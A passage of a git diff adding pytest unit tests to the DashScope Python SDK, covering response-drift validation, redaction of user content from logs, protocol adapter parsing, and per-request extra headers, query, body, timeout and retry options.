parse_model( + ChatCompletion, + _completion(usage="unlimited"), + strict=True, + ) + + +def test_strict_mode_logs_before_raising(caplog): + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + with pytest.raises(APIResponseValidationError): + parse_model( + ChatCompletion, + _completion(usage="unlimited"), + strict=True, + ) + messages = [r.getMessage() for r in caplog.records] + assert any("strict validation" in m for m in messages) + + +# -------------------------------------------------------------------------- +# Logging contract +# -------------------------------------------------------------------------- + + +def test_drift_is_logged_at_debug_level(caplog): + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion(usage="unlimited")) + records = [r for r in caplog.records if "response drift" in r.getMessage()] + assert records + assert all(r.levelno == logging.DEBUG for r in records) + messages = " ".join(r.getMessage() for r in records) + assert "ChatCompletion.usage" in messages + # The type is what identifies the drift; the value is user content. + assert "(got str)" in messages + + +def test_drift_logs_never_carry_the_raw_value(caplog): + # A response body holds user prompts and model output, and the + # redaction filter is key-oriented, so it would not catch these. + secret = "the-user-sent-this-prompt" + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion(usage=secret)) + messages = " ".join(r.getMessage() for r in caplog.records) + assert secret not in messages + + +# -------------------------------------------------------------------------- +# Scope boundary: input models keep failing fast +# -------------------------------------------------------------------------- + + +def test_a_user_supplied_part_type_still_raises(): + # TextPart is an input model. Fault tolerance is for the server + # drifting, not for absorbing a caller's typo silently. + with pytest.raises(ValidationError): + TextPart(type="texst", text="hello") diff --git a/tests/test_protocols.py b/tests/test_protocols.py index 1554e4d4..525a7f65 100644 --- a/tests/test_protocols.py +++ b/tests/test_protocols.py @@ -8,7 +8,11 @@ import pytest from dashscope import Client -from dashscope.errors import BadRequestError, DashScopeError +from dashscope.errors import ( + APIResponseValidationError, + BadRequestError, + DashScopeError, +) from dashscope.protocols import ( AnthropicProtocol, NativeProtocol, @@ -16,6 +20,7 @@ get_protocol, ) from dashscope.protocols.base import ChatRequest +from dashscope.types.completions import parse_chunk, parse_completion BASE_URL = "https://api.test.local/api/v1" CHAT_PATH = "/api/v1/services/aigc/text-generation/generation" @@ -635,6 +640,46 @@ def test_openai_parse_completion_and_chunk(): assert not final.choices +def test_openai_parse_preserves_media_parts(): + protocol = OpenAIProtocol() + image_part = { + "type": "image_url", + "image_url": {"url": "https://cdn.example.com/wan27.png"}, + } + completion = protocol.parse_completion( + { + "id": "chatcmpl-media", + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": [ + {"type": "text", "text": "done"}, + image_part, + ], + }, + }, + ], + }, + strict_validation=True, + ) + message = completion.choices[0].message + assert message.content == "done" + assert message.content_parts == [image_part] + + chunk = protocol.parse_chunk( + { + "id": "chatcmpl-media", + "choices": [{"index": 0, "delta": {"content": [image_part]}}], + }, + strict_validation=True, + ) + assert chunk.delta is not None + assert chunk.delta.content is None + assert chunk.delta.content_parts == [image_part] + + def test_openai_usage_details_survive_translation(): # Only the canonical counters are renamed. The gateway's own detail # objects must stay readable: cached and reasoning tokens are billed @@ -1880,3 +1925,133 @@ def handler(request): assert usage.total_tokens == 120 assert usage.prompt_tokens_details == {"cached_tokens": 64} assert usage.completion_tokens_details == {"reasoning_tokens": 12} + + +# -------------------------------------------------------------------------- +# Response drift: every adapter degrades rather than leaking a bare +# pydantic ValidationError, and honours strict_validation when asked. +# -------------------------------------------------------------------------- + +_NATIVE_DRIFT = { + "request_id": "r1", + "output": {"text": "hi"}, + "usage": "unlimited", +} +_OPENAI_DRIFT = { + "id": "chatcmpl-1", + "model": "qwen-plus", + "choices": [ + {"index": 0, "message": {"role": "assistant", "content": "hi"}}, + ], + "usage": "unlimited", +} +_ANTHROPIC_DRIFT = { + "id": "msg-1", + "model": "claude-x", + "content": [{"type": "text", "text": "hi"}], + "usage": "unlimited", +} +_ANTHROPIC_EVENT = { + "type": "message_start", + "message": {"id": "msg-1", "usage": {"input_tokens": "many"}}, +} + + +def test_native_free_functions_degrade_a_drifted_usage(): + completion = parse_completion(_NATIVE_DRIFT) + assert completion.output_text == "hi" + assert completion.request_id == "r1" + assert completion.usage is None + chunk = parse_chunk(_NATIVE_DRIFT) + assert chunk.delta.content == "hi" + assert chunk.usage is None + + +def test_every_adapter_degrades_a_drifted_usage(): + cases = [ + (NativeProtocol(), _NATIVE_DRIFT, "hi"), + (OpenAIProtocol(), _OPENAI_DRIFT, "hi"), + (AnthropicProtocol(), _ANTHROPIC_DRIFT, "hi"), + ] + for protocol, body, expected in cases: + completion = protocol.parse_completion(body) + assert completion.output_text == expected, protocol.name + assert completion.usage is None, protocol.name + + +def test_strict_validation_raises_a_catchable_error_per_adapter(): + cases = [ + (NativeProtocol(), _NATIVE_DRIFT), + (OpenAIProtocol(), _OPENAI_DRIFT), + (AnthropicProtocol(), _ANTHROPIC_DRIFT), + ] + for protocol, body in cases: + with pytest.raises(APIResponseValidationError) as excinfo: + protocol.parse_completion(body, strict_validation=True) + error = excinfo.value + # The point of the flag: a caller's ``except DashScopeError`` + # catches a parse failure instead of a bare ValidationError. + assert isinstance(error, DashScopeError), protocol.name + assert error.body["usage"] == "unlimited", protocol.name + assert error.cause is not None, protocol.name + + +def test_the_default_parser_degrades_and_the_flag_overrides_it(): + protocol = AnthropicProtocol() + lenient = protocol.make_chunk_parser() + chunk = lenient(_ANTHROPIC_EVENT) + assert chunk is not None + assert chunk.usage is not None + assert chunk.usage.input_tokens == 0 + + strict = protocol.make_chunk_parser(strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict(_ANTHROPIC_EVENT) + + # parse_chunk keeps one shared stateful parser, so the mode is a + # per-call override rather than a rebuilt parser. + with pytest.raises(APIResponseValidationError): + protocol.parse_chunk(_ANTHROPIC_EVENT, strict_validation=True) + assert protocol.parse_chunk(_ANTHROPIC_EVENT) is not None + + +def test_native_chunk_parser_honours_strict_validation(): + parse = NativeProtocol().make_chunk_parser(strict_validation=True) + with pytest.raises(APIResponseValidationError): + parse(_NATIVE_DRIFT) + lenient = NativeProtocol().make_chunk_parser() + assert lenient(_NATIVE_DRIFT).usage is None + + +def test_openai_drifted_usage_counters_do_not_raise_type_error(): + # Summing a string counter used to blow up inside the adapter, + # before the model layer that repairs it ever ran. + completion = OpenAIProtocol().parse_completion( + { + "id": "chatcmpl-1", + "choices": [], + "usage": {"prompt_tokens": "many", "completion_tokens": 3}, + }, + ) + usage = completion.usage + assert usage is not None + assert usage.input_tokens == 0 + assert usage.output_tokens == 3 + # The derived total falls back to Usage's own default rather than + # being summed from a value that is not a number. + assert usage.total_tokens == 0 + + +def test_anthropic_drifted_usage_counters_do_not_raise_type_error(): + completion = AnthropicProtocol().parse_completion( + { + "id": "msg-1", + "content": [], + "usage": {"input_tokens": "many", "output_tokens": 2}, + }, + ) + usage = completion.usage + assert usage is not None + assert usage.input_tokens == 0 + assert usage.output_tokens == 2 + assert usage.total_tokens == 0 diff --git a/tests/test_request_options.py b/tests/test_request_options.py new file mode 100644 index 00000000..93014af2 --- /dev/null +++ b/tests/test_request_options.py @@ -0,0 +1,503 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the per-request ``RequestOptions`` channel (T1).""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import json +import logging + +import httpx +import pytest + +from dashscope.errors import APIConnectionError +from dashscope.transport import ( + AsyncTransport, + RequestOptions, + SyncTransport, +) +from dashscope.transport import http as transport_http +from dashscope.transport._options import ( + deep_merge, + merge_query, + request_options, + resolve_max_retries, + resolve_timeout, +) + +BASE_URL = "https://api.test.local" + + +class _Recorder: + def __init__(self, responses=None): + self.calls = 0 + self.requests = [] + self._responses = list(responses or []) + + def handler(self, request: httpx.Request) -> httpx.Response: + self.requests.append(request) + self.calls += 1 + if self.calls <= len(self._responses): + item = self._responses[self.calls - 1] + if isinstance(item, Exception): + raise item + status, headers = item + return httpx.Response(status, headers=headers) + return httpx.Response(200) + + @property + def last(self) -> httpx.Request: + return self.requests[-1] + + def sent_json(self): + return json.loads(self.last.content) + + def sent_query(self): + return dict(self.last.url.params) + + def sent_timeout(self): + return self.last.extensions["timeout"] + + +def _make_sync(recorder, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(recorder.handler), + base_url=BASE_URL, + ) + return SyncTransport(base_url=BASE_URL, http_client=http_client, **kwargs) + + +def _make_async(recorder, **kwargs): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(recorder.handler), + base_url=BASE_URL, + ) + return AsyncTransport(base_url=BASE_URL, http_client=http_client, **kwargs) + + +@pytest.fixture +def no_sleep(monkeypatch): + sleeps = [] + monkeypatch.setattr(transport_http, "_sleep", sleeps.append) + + async def _asleep(seconds): + sleeps.append(seconds) + + monkeypatch.setattr(transport_http, "_asleep", _asleep) + return sleeps + + +# -------------------------------------------------------------------------- +# Pure helpers: request_options / deep_merge / merge_query / resolvers +# -------------------------------------------------------------------------- + + +def test_request_options_is_none_when_nothing_is_set(): + # The transport keeps its no-options fast path, so an all-defaults + # resource call must not materialize an empty RequestOptions. + assert request_options() is None + assert request_options({}, {}, {}) is None + + +@pytest.mark.parametrize( + "kwargs", + [ + {"extra_headers": {"X-A": "1"}}, + {"extra_query": {"a": "1"}}, + {"extra_body": {"a": 1}}, + ], +) +def test_request_options_built_when_any_extra_is_set(kwargs): + options = request_options(**kwargs) + assert isinstance(options, RequestOptions) + for name, value in kwargs.items(): + assert getattr(options, name) == value + + +@pytest.mark.parametrize( + "kwargs", + [ + {"timeout": 1.5}, + {"max_retries": 0}, + {"max_retries": 3}, + ], +) +def test_request_options_built_when_a_keyword_only_field_is_set(kwargs): + # ``max_retries=0`` is a real override rather than "no opinion", so the + # all-defaults shortcut has to test for ``None`` and not for falsiness. + options = request_options(**kwargs) + assert isinstance(options, RequestOptions) + for name, value in kwargs.items(): + assert getattr(options, name) == value + + +def test_request_options_keeps_the_extras_positional(): + # Resources pass the three extras by position; the keyword-only tail is + # what lets timeout/max_retries be added without touching those calls. + options = request_options({"X-A": "1"}, None, None, max_retries=2) + assert options.extra_headers == {"X-A": "1"} + assert options.extra_query is None + assert options.timeout is None + assert options.max_retries == 2 + + +def test_deep_merge_nested_dicts_merge_scalars_replace(): + base = {"model": "qwen-max", "params": {"top_p": 0.5, "seed": 1}} + merged = deep_merge(base, {"params": {"top_p": 0.9}, "stream": True}) + assert merged == { + "model": "qwen-max", + "params": {"top_p": 0.9, "seed": 1}, + "stream": True, + } + + +def test_deep_merge_lists_replace_rather_than_concatenate(): + merged = deep_merge({"messages": [{"role": "user"}]}, {"messages": []}) + assert merged == {"messages": []} + + +def test_deep_merge_leaves_both_inputs_untouched(): + base = {"params": {"seed": 1}} + extra = {"params": {"top_p": 0.5}} + deep_merge(base, extra) + assert base == {"params": {"seed": 1}} + assert extra == {"params": {"top_p": 0.5}} + + +def test_merge_query_passes_params_through_without_options(): + params = {"page_no": 1} + assert merge_query(params, None) is params + assert merge_query(params, RequestOptions()) is params + + +def test_merge_query_extra_wins_on_conflict(): + options = RequestOptions(extra_query={"page_no": 9, "flag": "x"}) + assert merge_query({"page_no": 1}, options) == { + "page_no": 9, + "flag": "x", + } + + +def test_merge_query_adds_query_where_call_sent_none(): + options = RequestOptions(extra_query={"flag": "x"}) + assert merge_query(None, options) == {"flag": "x"} + + +def test_resolve_timeout_explicit_argument_wins(): + options = RequestOptions(timeout=1.5) + assert resolve_timeout(9.0, options) == 9.0 + + +def test_resolve_timeout_falls_back_to_options(): + options = RequestOptions(timeout=1.5) + assert resolve_timeout(None, options) == 1.5 + assert resolve_timeout(None, None) is None + + +def test_resolve_max_retries_override_default_and_clamp(): + assert resolve_max_retries(2, None) == 2 + assert resolve_max_retries(2, RequestOptions()) == 2 + assert resolve_max_retries(2, RequestOptions(max_retries=0)) == 0 + assert resolve_max_retries(2, RequestOptions(max_retries=5)) == 5 + assert resolve_max_retries(2, RequestOptions(max_retries=-1)) == 0 + + +# -------------------------------------------------------------------------- +# Sync transport: what actually reaches the wire +# -------------------------------------------------------------------------- + + +def test_extra_headers_reach_the_wire(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_headers={"X-Experiment": "on"}) + t.request("GET", "/x", options=options) + assert rec.last.headers["x-experiment"] == "on" + + +def test_extra_headers_override_sdk_identity_case_insensitively(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions( + extra_headers={"X-DashScope-SDK-Client": "custom/1.0"}, + ) + t.request("GET", "/x", options=options) + sent = rec.last.headers + assert sent["x-dashscope-sdk-client"] == "custom/1.0" + # A case-insensitive override replaces rather than duplicates. + assert len(sent.get_list("x-dashscope-sdk-client")) == 1 + + +def test_extra_headers_beat_caller_headers_on_the_same_key(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_headers={"X-Trace": "extra"}) + t.request("GET", "/x", headers={"X-Trace": "caller"}, options=options) + assert rec.last.headers["x-trace"] == "extra" + + +def test_extra_headers_beat_per_call_credentials(no_sleep): + # Documented precedence puts extra_headers above everything, so a + # caller can point one request at a different key than the client. + rec = _Recorder() + t = _make_sync(rec, api_key="client-key") + options = RequestOptions(extra_headers={"Authorization": "Bearer extra"}) + t.request("GET", "/x", api_key="per-call", options=options) + assert rec.last.headers["authorization"] == "Bearer extra" + + +def test_extra_query_joins_the_query_string(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_query={"beta": "true"}) + t.request("GET", "/x", params={"page_no": 1}, options=options) + assert rec.sent_query() == {"page_no": "1", "beta": "true"} + + +def test_extra_body_deep_merges_into_json(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"params": {"seed": 7}}) + t.request( + "POST", + "/chat", + json={"model": "qwen-max", "params": {"top_p": 0.5}}, + options=options, + ) + assert rec.sent_json() == { + "model": "qwen-max", + "params": {"top_p": 0.5, "seed": 7}, + } + + +def test_extra_body_on_a_request_without_a_json_body(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + t.request("POST", "/x", options=options) + assert rec.sent_json() == {"flag": True} + + +def test_extra_body_is_ignored_with_a_warning_for_raw_content( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + t.request("POST", "/upload", content=b"raw", options=options) + assert rec.last.content == b"raw" + messages = [r.getMessage() for r in caplog.records] + assert any("ignoring extra_body" in m for m in messages) + + +def test_options_timeout_applies_when_the_call_omits_its_own(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + t.request("GET", "/x", options=RequestOptions(timeout=3.5)) + assert rec.sent_timeout()["read"] == 3.5 + + +def test_call_timeout_wins_over_options_timeout(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + t.request( + "GET", + "/x", + timeout=8.0, + options=RequestOptions(timeout=3.5), + ) + assert rec.sent_timeout()["read"] == 8.0 + + +def test_extra_body_is_ignored_with_a_warning_for_a_non_object_json( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + t.request("POST", "/batch", json=[{"a": 1}], options=options) + assert rec.sent_json() == [{"a": 1}] + messages = [r.getMessage() for r in caplog.records] + assert any("body is list" in m for m in messages) + + +def test_max_retries_zero_disables_retrying_for_one_call(no_sleep): + rec = _Recorder([(503, {})]) + t = _make_sync(rec, max_retries=3) + resp = t.request("GET", "/x", options=RequestOptions(max_retries=0)) + assert resp.status_code == 503 + assert rec.calls == 1 + + +def test_max_retries_one_retries_once(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_sync(rec, max_retries=5) + resp = t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert resp.status_code == 503 + assert rec.calls == 2 + assert len(no_sleep) == 1 + + +def test_max_retries_override_also_caps_transport_error_retries(no_sleep): + rec = _Recorder([httpx.ConnectError("boom") for _ in range(4)]) + t = _make_sync(rec, max_retries=5) + with pytest.raises(APIConnectionError): + t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert rec.calls == 2 + + +def test_without_options_the_client_default_retry_budget_applies(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_sync(rec, max_retries=2) + resp = t.request("GET", "/x") + assert resp.status_code == 200 + assert rec.calls == 3 + + +def test_no_options_sends_no_extra_headers_or_query(no_sleep): + rec = _Recorder() + t = _make_sync(rec, api_key="client-key") + t.request("GET", "/x", params={"page_no": 1}, json={"a": 1}) + assert rec.sent_query() == {"page_no": "1"} + assert rec.sent_json() == {"a": 1} + assert rec.last.headers["authorization"] == "Bearer client-key" + assert "x-experiment" not in rec.last.headers + + +def test_open_stream_applies_options(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + max_retries=0, + ) + t.open_stream( + "POST", + "/chat", + json={"params": {"top_p": 0.5}}, + options=options, + ).close() + assert rec.last.headers["x-experiment"] == "on" + assert rec.sent_query() == {"beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + + +# -------------------------------------------------------------------------- +# Async transport: same contract +# -------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_async_extra_headers_and_query_and_body(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + ) + await t.request( + "POST", + "/chat", + params={"page_no": 1}, + headers={"X-Trace": "caller"}, + json={"params": {"top_p": 0.5}}, + options=options, + ) + assert rec.last.headers["x-experiment"] == "on" + assert rec.last.headers["x-trace"] == "caller" + assert rec.sent_query() == {"page_no": "1", "beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_extra_headers_beat_caller_headers(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions(extra_headers={"X-Trace": "extra"}) + await t.request( + "GET", + "/x", + headers={"X-Trace": "caller"}, + options=options, + ) + assert rec.last.headers["x-trace"] == "extra" + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_max_retries_zero_disables_retrying(no_sleep): + rec = _Recorder([(503, {})]) + t = _make_async(rec, max_retries=3) + resp = await t.request("GET", "/x", options=RequestOptions(max_retries=0)) + assert resp.status_code == 503 + assert rec.calls == 1 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_max_retries_one_retries_once(no_sleep): + rec = _Recorder([(503, {}), (503, {}), (200, {})]) + t = _make_async(rec, max_retries=5) + resp = await t.request("GET", "/x", options=RequestOptions(max_retries=1)) + assert resp.status_code == 503 + assert rec.calls == 2 + assert len(no_sleep) == 1 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_options_timeout_applies(no_sleep): + rec = _Recorder() + t = _make_async(rec) + await t.request("GET", "/x", options=RequestOptions(timeout=3.5)) + assert rec.sent_timeout()["read"] == 3.5 + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_open_stream_applies_options(no_sleep): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"params": {"seed": 7}}, + ) + response = await t.open_stream( + "POST", + "/chat", + json={"params": {"top_p": 0.5}}, + options=options, + ) + await response.aclose() + assert rec.last.headers["x-experiment"] == "on" + assert rec.sent_query() == {"beta": "true"} + assert rec.sent_json() == {"params": {"top_p": 0.5, "seed": 7}} + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_extra_body_ignored_with_warning_for_raw_content( + no_sleep, + caplog, +): + rec = _Recorder() + t = _make_async(rec) + options = RequestOptions(extra_body={"flag": True}) + with caplog.at_level(logging.WARNING, logger="dashscope._logging"): + await t.request("POST", "/upload", content=b"raw", options=options) + assert rec.last.content == b"raw" + messages = [r.getMessage() for r in caplog.records] + assert any("ignoring extra_body" in m for m in messages) + await t.aclose() diff --git a/tests/test_resource_request_options.py b/tests/test_resource_request_options.py new file mode 100644 index 00000000..748cc98a --- /dev/null +++ b/tests/test_resource_request_options.py @@ -0,0 +1,1029 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Resource methods forward the three ``extra_*`` escape hatches (T1). + +The transport-level semantics (merge order, deep merge, retry override) +live in ``tests/test_request_options.py``; this file only pins that each +wired resource actually hands them over. +""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import json + +import httpx +import pytest + +from dashscope import AsyncClient, Client +from dashscope.errors import DashScopeError +from dashscope.transport import http as transport_http + +BASE_URL = "https://api.test.local/api/v1" + +_MODELS_BODY = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 10, + "total": 1, + "models": [{"model": "qwen-plus", "source": "dashscope"}], + }, +} +_FILES_BODY = { + "request_id": "r", + "data": { + "page_no": 1, + "page_size": 10, + "total": 1, + "files": [{"file_id": "f-1", "name": "t.jsonl", "size": 10}], + }, +} +_EMBEDDINGS_BODY = { + "request_id": "r", + "output": {"embeddings": [{"index": 0, "embedding": [0.1, 0.2]}]}, +} +_JOB_PENDING = { + "request_id": "r", + "output": {"task_id": "t-1", "task_status": "PENDING"}, +} +_JOB_DONE = { + "request_id": "r", + "output": {"task_id": "t-1", "task_status": "SUCCEEDED"}, +} +_JOB_LIST_BODY = { + "request_id": "r", + "page_no": 1, + "page_size": 10, + "total": 0, + "tasks": [], +} +_CHAT_BODY = {"request_id": "r", "output": {"text": "hi"}} + + +class _Capture: + """Mock handler recording every request and answering one body.""" + + def __init__(self, body=None, content=None, headers=None): + self._body = body + self._content = content + self._headers = dict(headers or {}) + self.requests = [] + + def __call__(self, request: httpx.Request) -> httpx.Response: + self.requests.append(request) + if self._content is not None: + return httpx.Response( + 200, + content=self._content, + headers=self._headers, + ) + return httpx.Response(200, json=self._body, headers=self._headers) + + @property + def last(self) -> httpx.Request: + return self.requests[-1] + + def sent_json(self): + return json.loads(self.last.content) + + def sent_query(self): + return dict(self.last.url.params) + + +def _client(capture, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(capture), + base_url=BASE_URL, + ) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _async_client(capture, **kwargs): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(capture), + base_url=BASE_URL, + ) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +# -------------------------------------------------------------------------- +# models +# -------------------------------------------------------------------------- + + +def test_models_list_forwards_all_three_extras(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + result = client.models.list( + page_size=3, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 1 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == { + "page_no": "1", + "page_size": "3", + "beta": "true", + } + + +def test_models_get_forwards_extra_headers(): + cap = _Capture(_MODELS_BODY) + client = _client(cap) + client.models.get("qwen-plus", extra_headers={"X-Experiment": "on"}) + assert cap.last.headers["x-experiment"] == "on" + + +# -------------------------------------------------------------------------- +# files +# -------------------------------------------------------------------------- + + +def test_files_list_forwards_extras(): + cap = _Capture(_FILES_BODY) + client = _client(cap) + listed = client.files.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert listed.files[0].file_id == "f-1" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +def test_files_get_forwards_extra_headers(): + cap = _Capture({"request_id": "r"}) + client = _client(cap) + client.files.get("f-1", extra_headers={"X-Experiment": "on"}) + assert cap.last.headers["x-experiment"] == "on" + + +def test_files_upload_forwards_extra_headers(tmp_path): + cap = _Capture( + { + "request_id": "r", + "data": { + "uploaded_files": [{"name": "t.jsonl", "file_id": "f-1"}], + }, + }, + ) + file_path = tmp_path / "t.jsonl" + file_path.write_text('{"a": 1}\n', encoding="utf-8") + client = _client(cap) + client.files.upload( + file_path=str(file_path), + purpose="fine-tune", + extra_headers={"X-Experiment": "on"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.last.headers["content-type"].startswith("multipart/form-data") + + +def test_files_delete_forwards_extra_query(): + cap = _Capture({"request_id": "r", "data": {"deleted": True}}) + client = _client(cap) + client.files.delete("f-1", extra_query={"beta": "true"}) + assert cap.sent_query() == {"beta": "true"} + + +# -------------------------------------------------------------------------- +# embeddings (direct transport call + jobs facade) +# -------------------------------------------------------------------------- + + +def test_embeddings_create_deep_merges_extra_body(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _client(cap) + result = client.embeddings.create( + model="text-embedding-v4", + input=["hello"], + extra_body={"parameters": {"seed": 7}}, + extra_headers={"X-Experiment": "on"}, + ) + assert result.embeddings[0].index == 0 + body = cap.sent_json() + assert body["parameters"]["seed"] == 7 + assert cap.last.headers["x-experiment"] == "on" + + +def test_embeddings_jobs_create_forwards_extra_headers(): + cap = _Capture(_JOB_PENDING) + client = _client(cap) + job = client.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + extra_headers={"X-Experiment": "on"}, + ) + assert job.task_id == "t-1" + assert cap.last.headers["x-experiment"] == "on" + + +def test_extra_headers_beat_the_resource_own_submit_header(): + # jobs.create sends X-DashScope-Async itself; extra_headers is the + # highest layer, so it can override what the resource set. + cap = _Capture(_JOB_PENDING) + client = _client(cap) + client.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + extra_headers={"X-DashScope-Async": "disable"}, + ) + assert cap.last.headers["x-dashscope-async"] == "disable" + + +def test_embeddings_jobs_list_forwards_extra_query(): + cap = _Capture(_JOB_LIST_BODY) + client = _client(cap) + client.embeddings.jobs.list( + page_size=5, + extra_query={"beta": "true"}, + ) + assert cap.sent_query() == { + "page_no": "1", + "page_size": "5", + "beta": "true", + } + + +def test_embeddings_jobs_wait_forwards_extras_to_every_poll(): + cap = _Capture(_JOB_DONE) + client = _client(cap) + job = client.embeddings.jobs.wait( + "t-1", + extra_headers={"X-Experiment": "on"}, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.last.headers["x-experiment"] == "on" + + +# -------------------------------------------------------------------------- +# chat completions (non-streaming, streaming, async) +# -------------------------------------------------------------------------- + + +def test_chat_create_forwards_all_three_extras(): + cap = _Capture(_CHAT_BODY) + client = _client(cap) + result = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert result.output_text == "hi" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + assert cap.sent_json()["parameters"]["seed"] == 7 + + +def test_chat_stream_forwards_extra_headers(): + cap = _Capture( + content=b'data:{"output":{"text":"hi"},"request_id":"r"}\n\n', + headers={"content-type": "text/event-stream"}, + ) + client = _client(cap) + stream = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + stream=True, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + stream.close() + + +@pytest.mark.asyncio +async def test_async_models_list_forwards_extras(): + cap = _Capture(_MODELS_BODY) + client = _async_client(cap) + result = await client.models.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 1 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_chat_create_forwards_extra_body(): + cap = _Capture(_CHAT_BODY) + client = _async_client(cap) + result = await client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert result.output_text == "hi" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["seed"] == 7 + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_embeddings_jobs_fetch_forwards_extras(): + cap = _Capture(_JOB_DONE) + client = _async_client(cap) + job = await client.embeddings.jobs.fetch( + "t-1", + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert job.succeeded + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + await client.aclose() + + +# -------------------------------------------------------------------------- +# images / multimodal.embeddings +# -------------------------------------------------------------------------- + + +def test_images_jobs_list_forwards_extras(): + cap = _Capture(_JOB_LIST_BODY) + client = _client(cap) + result = client.images.jobs.list( + page_size=3, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +def test_images_jobs_create_forwards_extra_headers_and_body(): + cap = _Capture(_JOB_PENDING) + client = _client(cap) + job = client.images.jobs.create( + model="wan2.2-t2i-flash", + prompt="a cat", + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert job.task_id == "t-1" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["seed"] == 7 + + +def test_images_generate_forwards_extras_to_every_request(): + # generate() submits and then waits, so the escape hatch has to survive + # both legs rather than only the submit. + cap = 